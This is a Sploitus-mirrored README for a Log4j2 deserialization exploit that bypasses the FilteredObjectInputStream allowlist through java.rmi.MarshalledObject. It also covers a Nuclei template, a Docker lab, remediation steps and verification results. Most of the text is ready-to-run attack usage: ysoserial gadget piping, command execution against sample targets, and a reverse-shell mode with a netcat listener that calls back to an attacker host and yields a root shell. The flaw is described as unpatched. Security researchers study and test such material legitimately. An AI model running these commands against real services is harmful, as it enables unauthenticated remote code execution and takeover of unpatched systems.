Sploitus

log4j2-4255-exploit

githubexploit Β· 2026-08-26

Exploit Code

README199 lines
## https://sploitus.com/exploit?id=51D314BA-12C0-57D1-B7AC-D467946AB7CE
# Apache Log4j2 #4255 β€” FilteredObjectInputStream allowlist bypass via `java.rmi.MarshalledObject`

Unauthenticated Java deserialization in any service that reads serialized
`LogEvent`s through Log4j's `FilteredObjectInputStream` (FOIS). With a gadget
library on the target classpath this is **remote code execution**.

- **Affected:** `log4j-api` 2.11.0–2.26.1 / `log4j-core` 2.8.0–2.26.1
- **Upstream:** https://github.com/apache/logging-log4j2/issues/4255 *(no fix released at time of writing)*
- **Class:** CWE-502 β€” deserialization of untrusted data
- **Credit:** original report by U-Sec (Wujie Security); lab by [@dinosn](https://github.com/dinosn/log4j-4255)

> For authorized security testing only.

---

## Root cause

`FilteredObjectInputStream` keeps `java.rmi.MarshalledObject` in its default
allowlist (`SerializationUtil.REQUIRED_JAVA_CLASSES`):

```java
public static final List REQUIRED_JAVA_CLASSES = Arrays.asList(
    "java.math.BigDecimal",
    "java.math.BigInteger",
    "java.rmi.MarshalledObject",   //   ← deserialized here by MarshalledObject.get(), unfiltered
```

### Where it is exploitable

Any endpoint that reads a serialized `LogEvent` off the network through FOIS:

- `apache/logging-log4j-samples` β†’ `log4j-server` / `ObjectInputStreamLogEventBridge`
- `vertigo-analytics-server` `createSerializedSocketServer` (FOIS by default, no TLS/auth, binds all interfaces)
- log4j-core ≀ 2.14.x, where the receiver shipped in-tree as `net.server.TcpSocketServer.createSerializedSocketServer`

Common ports: **4560, 4562, 4563, 9500** (SocketAppender defaults).

---

## Contents

| Path | What |
|---|---|
| `log4j_4255.py` | Standalone Python exploit (no deps, no JVM to build a payload) |
| `nuclei/log4j2-4255-marshalledobject-deser.yaml` | Nuclei network template, OOB (DNS) detection |
| `lab/run-receiver.sh` | Spin up a vulnerable (or mitigated) receiver in Docker |
| `lab/src/victim/Receiver.java` | The FOIS receiver, mirroring the official samples bridge |

---

## Quick start (local lab)

```bash
# 1. start a vulnerable receiver in Docker (fetches official log4j 2.26.1 jars)
./lab/run-receiver.sh
#   -> [receiver] FilteredObjectInputStream bridge on 0.0.0.0:4560 ... filter=

# 2a. detection β€” DNS callback, no gadget lib needed
python3 log4j_4255.py dns -t 127.0.0.1 -p 4560 --oob YOUR-ID.oast.pro

# 2b. RCE β€” run a command (drop ysoserial.jar next to the script first)
python3 log4j_4255.py cmd -t 127.0.0.1 -p 4560 -c 'touch /tmp/PWNED_4255'
docker exec log4j4255-recv ls -l /tmp/PWNED_4255   # -> proof of RCE

# 2c. reverse shell (Docker Desktop: use host.docker.internal as --lhost)
nc -lvnp 4444 &                                    # or your framework of choice
python3 log4j_4255.py revshell -t 127.0.0.1 -p 4560 --lhost host.docker.internal --lport 4444
```

---

## The Python exploit β€” `log4j_4255.py`

Builds the `LogEventProxy β†’ MarshalledObject(objBytes)` envelope by hand (a tiny
Java-serialization writer), so **no JVM and no log4j jars are needed to craft the
payload**. The inner object graph is either a built-in JDK-only URLDNS chain
(detection) or any serialized gadget you supply (RCE).

```
usage: log4j_4255.py {dns,wrap,cmd,revshell} ...

  dns   --oob HOST              wrap a JDK-only URLDNS chain (HashMap -> java.net.URL).
                                DNS lookup proves the inner stream is unfiltered.
                                No gadget library required on the target. Safe.

  wrap  --gadget FILE           wrap an arbitrary serialized object graph, e.g. the
                                raw output of ysoserial. RCE when a matching gadget
                                library is on the target classpath. FILE '-' = stdin.

  cmd   -c COMMAND              run a shell command on the target. Drives ysoserial
                                to build the gadget for you, then wraps + sends it.

  revshell --lhost H --lport P  open a bash reverse shell from the target. The
                                one-liner is base64-wrapped so it survives
                                Runtime.exec() whitespace tokenisation.

  cmd / revshell also take:
    --chain NAME      ysoserial gadget chain (default CommonsCollections6)
    --ysoserial PATH  ysoserial jar (default ./ysoserial.jar or $YSOSERIAL)
    --java PATH       java binary (default $JAVA_HOME/bin/java or PATH)

  common to all:
    -t/--target HOST  -p/--port N (default 4560)
    -o/--out FILE     build only, write payload to disk (send later with nc/burp)
```

`cmd` and `revshell` shell out to **ysoserial** to build the inner gadget, so they
need `java` and a ysoserial jar locally (drop `ysoserial.jar` next to the script,
or point at it with `--ysoserial` / `$YSOSERIAL`). On JDK 9+ the required
`--add-opens` flags are added automatically. `dns` and `wrap` stay pure-Python.

Examples:

```bash
# detection
python3 log4j_4255.py dns  -t 10.0.0.5 -p 4560 --oob me.oast.pro

# run a command (gadget built for you)
python3 log4j_4255.py cmd  -t 10.0.0.5 -p 4560 -c 'id > /tmp/x'

# reverse shell -- start the listener first:  nc -lvnp 4444
python3 log4j_4255.py revshell -t 10.0.0.5 -p 4560 --lhost 10.0.0.9 --lport 4444

# RCE from a prebuilt gadget / pipe ysoserial straight in
python3 log4j_4255.py wrap -t 10.0.0.5 -p 4560 --gadget cc6.bin
java -jar ysoserial.jar CommonsCollections6 'id' | python3 log4j_4255.py wrap -t 10.0.0.5 --gadget -

# craft only, do not send
python3 log4j_4255.py wrap --gadget cc6.bin -o payload.bin
```

**Why URLDNS for detection:** it is a three-level, pure-JDK chain
(`HashMap β†’ java.net.URL β†’ String`). It needs nothing on the target but the JRE,
and β€” unlike commons-collections chains β€” it is shallow enough to survive a
`maxdepth` serial filter, so a DNS hit reflects the bypass itself rather than the
presence of one particular gadget library.

---

## The Nuclei template

`nuclei/log4j2-4255-marshalledobject-deser.yaml` β€” a **network** template that
sends the URLDNS-wrapped `LogEventProxy` and matches on an interactsh DNS
interaction.

```bash
nuclei -t nuclei/log4j2-4255-marshalledobject-deser.yaml -u 10.0.0.5:4560
nuclei -t nuclei/log4j2-4255-marshalledobject-deser.yaml -l targets.txt   # host:port per line
```

Targets **must include the port** (it is a network template). The payload is
rebuilt at scan time for any `{{interactsh-url}}` length via nuclei DSL β€” the
two length-sensitive fields (the `java.net.URL` host/authority string prefixes,
and filler that keeps `MarshalledObject#objBytes`'s own length prefix constant)
are derived from `len(interactsh-url)`.

A match means the inner stream is unfiltered β€” i.e. the bypass is present.
Whether it escalates to RCE depends on the gadget libraries on that classpath,
which the template cannot see.

---

## Remediation

No upstream fix at time of writing β€” track
[apache/logging-log4j2#4255](https://github.com/apache/logging-log4j2/issues/4255).
In the meantime, in order of preference:

1. **Stop transporting serialized `LogEvent`s.** Use a JSON or RFC 5424 layout
   over the socket instead of Java serialization.
2. **Deny the class at the JVM:**
   `-Djdk.serialFilter='!java.rmi.MarshalledObject'` on the receiver. This closes
   the bypass β€” but also rejects *legitimate* serialized `LogEvent`s, since
   log4j's own transport relies on `MarshalledObject`.
3. Do **not** rely on `maxdepth`/`maxbytes` serial filters. They may block one
   deep gadget (e.g. commons-collections) while leaving shallow chains β€” and the
   bypass itself β€” intact.

Upstream fix suggested in the report: drop `java.rmi.MarshalledObject` from
`REQUIRED_JAVA_CLASSES` and carry the marshalled message via
`SerializationUtil.writeWrappedObject()` / `readWrappedObject()` (plain `byte[]`
run back through an inner FOIS), the pattern already used by `ObjectMessage`;
or migrate FOIS to a JEP 290 `ObjectInputFilter`, which sees through
`MarshalledObject` on JDK 9+.

---

## Verified

End-to-end against **official Log4j 2.26.1 jars on JDK 17**, in Docker:

| Target | `log4j_4255.py` (CC6) | Nuclei (`dns`) |
|---|---|---|
| FOIS receiver + commons-collections 3.2.1 | RCE (`cmd` β†’ file created; `revshell` β†’ root shell `uid=0(root)`), receiver silent | match |
| `-Djdk.serialFilter='!java.rmi.MarshalledObject'` | rejected (`InvalidClassException: filter status: REJECTED`) | no match |
| `-Djdk.serialFilter='maxdepth=5'` | CC6 blocked; URLDNS still fires | match |
| commons-collections 3.2.2 | silent (gadget patched); bypass still reached | match |
| same gadget sent **unwrapped** | rejected (`Class is not allowed: java.net.URL` / `TiedMapEntry`) | n/a |